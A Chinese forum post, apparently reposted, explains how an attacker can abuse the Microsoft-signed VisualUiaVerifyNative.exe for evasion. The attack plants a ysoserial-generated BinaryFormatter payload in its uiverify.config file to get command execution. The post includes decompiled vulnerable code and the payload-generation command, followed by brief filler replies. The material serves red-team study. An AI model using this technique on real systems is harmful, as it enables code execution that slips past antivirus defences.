设为首页收藏本站
网站公告 | 这是第一条公告
     

 找回密码
 立即注册
缓存时间09 现在时间09 缓存数据 随缘不是听天由命,而是用豁达的心态去面对生活。心累的时候,不如换个角度看世界。新的一天,早安。

随缘不是听天由命,而是用豁达的心态去面对生活。心累的时候,不如换个角度看世界。新的一天,早安。

查看: 703|回复: 3

.NET 白名单文件通过反序列化执行系统命令的方法

[复制链接]

  离线 

TA的专栏

  • 打卡等级:即来则安
  • 打卡总天数:16
  • 打卡月天数:0
  • 打卡总奖励:195
  • 最近打卡:2025-04-15 03:40:14
等级头衔

等級:晓枫资讯-列兵

在线时间
0 小时

积分成就
威望
0
贡献
36
主题
28
精华
0
金钱
304
积分
74
注册时间
2023-8-13
最后登录
2025-4-15

发表于 2024-11-26 17:09:38 | 显示全部楼层 |阅读模式
目录
  •  01阅读须知
  • 02VisualUiaVerifyNative
    • 2.1 UIAComWrapper
    • 2.2 WUIATestLibrary
  • 03反编译分析
    • 04实战利用

       01阅读须知

      此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

      02VisualUiaVerifyNative

      在日常的红队行动中,利用微软签名的白名单文件来绕过防护措施是一种常见的行为,有些场景下红队通过利用系统白名单文件加载反序列化漏洞的方式执行恶意指令。

      VisualUiaVerifyNative.exe 是一款具备微软签名的可执行文件,属于Microsoft UI Automation框架的一部分,最初设计用于帮助开发人员验证UI自动化的状态,一般在 Microsoft Windows SDK(Windows Kits)包中,比如路径:Windows Kits\10\bin\10.0.22621.0\x64\UIAVerify,该工具通常依赖于以下两个重要的动态链接库。

      2.1 UIAComWrapper

      UIAComWrapper.dll,该 DLL 文件封装了 UI Automation COM 接口,用于简化与 UI Automation 元素的交互。UI Automation 是一种微软提供的技术,允许自动化工具控制、监视和测试 Windows 应用程序的用户界面。UIAComWrapper.dll 使 VisualUIAVerifyNative.exe 可以使用 .NET 代码与 UI Automation API 进行交互。

      2.2 WUIATestLibrary

      WUIATestLibrary.dll 提供了一些专门用于 UI 自动化测试的库函数,主要支持自动化测试中的通用任务,例如自动化 UI 控件的查找、状态验证和操作。VisualUIAVerifyNative.exe 依赖于此库来运行不同的 UI 验证和测试场景。

      这些依赖库的主要作用是为 VisualUIAVerifyNative.exe 提供接口和功能支持,使其能够与 Windows 应用程序的 UI 自动化框架进行通信,并通过自动化的方式验证和测试界面元素。

      由于VisualUiaVerifyNative具备了微软官方签名的文件,因此,从反病毒软件的视角看属于白名单应用程序,常常可以绕过许多基于签名的安全防护措施。

      03反编译分析

      我们使用dnspy打开VisualUiaVerifyNative文件的入口方法Main,发现调用了MainWindow类,具体代码如下所示。

      1. private static void Main(string[] args)
      2. {
      3. try
      4. {
      5. Debug.AutoFlush = true;
      6. Application.EnableVisualStyles();
      7. Application.SetCompatibleTextRenderingDefault(false);
      8. Application.Run(new MainWindow(args));
      9. Automation.RemoveAllEventHandlers();
      10. }
      11. catch (Exception ex)
      12. {
      13. MessageBox.Show(ex.Message);
      14. }
      15. }
      复制代码

      MainWindow类的初始化方法中,有一个至关重要的函数ApplicationStateDeserialize负责反序列化配置文件中的数据。如下图所示

      1.jpeg

      进入此方法内部,发现打开读取了一个名为uiverify.config的文件,位于用户的AppData目录中,代码如下所示。

      1. private void ApplicationStateDeserialize(){
      2. this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";
      3. if (File.Exists(this._configFile))
      4. {
      5. Stream stream = File.Open(this._configFile, FileMode.Open);
      6. BinaryFormatter binaryFormatter = new BinaryFormatter();
      7. this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
      8. stream.Close();
      9. }
      10. }
      复制代码

      最核心的是调用了BinaryFormatter类反序列化内容,攻击者可以通过精心构造的payload欺骗反序列化过程,加载恶意代码。在代码中,binaryFormatter.Deserialize(stream)这一行正是漏洞的触发点,它会反序列化uiverify.config文件中的数据,并将其载入到_applicationState中。

      04实战利用

      第1步使用ysoserial.exe工具生成一个恶意的序列化payload。在这里,我们利用了BinaryFormatter格式,并选择TextFormattingRunProperties作为触发器,执行命令notepad。

      1. ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config
      复制代码

      这会生成一个二进制格式的恶意payload,并将其保存为Roaminguiverify.config文件,内容如下图所示。

      2.png

      第2步,将生成的Roaminguiverify.config文件写入到当前用户目录,比如C:\Users\Administrator\AppData\Roaminguiverify.config。这个配置文件是VisualUiaVerifyNative在启动时会自动读取的文件,因此一旦写入恶意数据,运行该工具时会自动触发反序列化漏洞。

      3.png

      第3步,当VisualUiaVerifyNative运行时,它会尝试从Roaminguiverify.config文件中反序列化数据,并因此执行植入的恶意命令。在本例中,notepad.exe会在系统上启动,表明命令执行成功。

      4.png

      综上,VisualUiaVerifyNative是一款具备微软白名单的可执行文件,用于基于Microsoft UI Automation框架进行应用测试。然而,通过对其配置文件的精心操作,攻击者可以非法使用其功能来触发反序列化漏洞,执行任意代码。

      到此这篇关于.NET 白名单文件通过反序列化执行系统命令的文章就介绍到这了,更多相关.net 白名单文件反序列化执行系统命令内容请搜索晓枫资讯以前的文章或继续浏览下面的相关文章希望大家以后多多支持晓枫资讯!


      免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
      晓枫资讯-科技资讯社区-免责声明
      免责声明:以上内容为本网站转自其它媒体,相关信息仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同其观点或证实其内容的真实性。
            1、注册用户在本社区发表、转载的任何作品仅代表其个人观点,不代表本社区认同其观点。
            2、管理员及版主有权在不事先通知或不经作者准许的情况下删除其在本社区所发表的文章。
            3、本社区的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,举报反馈:点击这里给我发消息进行删除处理。
            4、本社区一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
            5、以上声明内容的最终解释权归《晓枫资讯-科技资讯社区》所有。
      http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~

        离线 

      TA的专栏

      等级头衔

      等級:晓枫资讯-列兵

      在线时间
      0 小时

      积分成就
      威望
      0
      贡献
      0
      主题
      0
      精华
      0
      金钱
      11
      积分
      2
      注册时间
      2024-2-2
      最后登录
      2024-2-2

      发表于 2024-12-13 06:06:26 | 显示全部楼层
      路过,支持一下
      http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~

        离线 

      TA的专栏

      等级头衔

      等級:晓枫资讯-列兵

      在线时间
      0 小时

      积分成就
      威望
      0
      贡献
      0
      主题
      0
      精华
      0
      金钱
      26
      积分
      32
      注册时间
      2022-12-24
      最后登录
      2022-12-24

      发表于 2025-3-28 16:43:43 | 显示全部楼层
      感谢楼主,顶。
      http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~

        离线 

      TA的专栏

      等级头衔

      等級:晓枫资讯-列兵

      在线时间
      0 小时

      积分成就
      威望
      0
      贡献
      0
      主题
      0
      精华
      0
      金钱
      20
      积分
      20
      注册时间
      2022-12-27
      最后登录
      2022-12-27

      发表于 半小时前 | 显示全部楼层
      顶顶更健康!!!
      http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~
      严禁发布广告,淫秽、色情、赌博、暴力、凶杀、恐怖、间谍及其他违反国家法律法规的内容。!晓枫资讯-社区
      您需要登录后才可以回帖 登录 | 立即注册

      本版积分规则

      1楼
      2楼
      3楼
      4楼

      手机版|晓枫资讯--科技资讯社区 本站已运行

      CopyRight © 2022-2025 晓枫资讯--科技资讯社区 ( BBS.yzwlo.com ) . All Rights Reserved .

      晓枫资讯--科技资讯社区

      本站内容由用户自主分享和转载自互联网,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。

      如有侵权、违反国家法律政策行为,请联系我们,我们会第一时间及时清除和处理! 举报反馈邮箱:点击这里给我发消息

      Powered by Discuz! X3.5

      快速回复 返回顶部 返回列表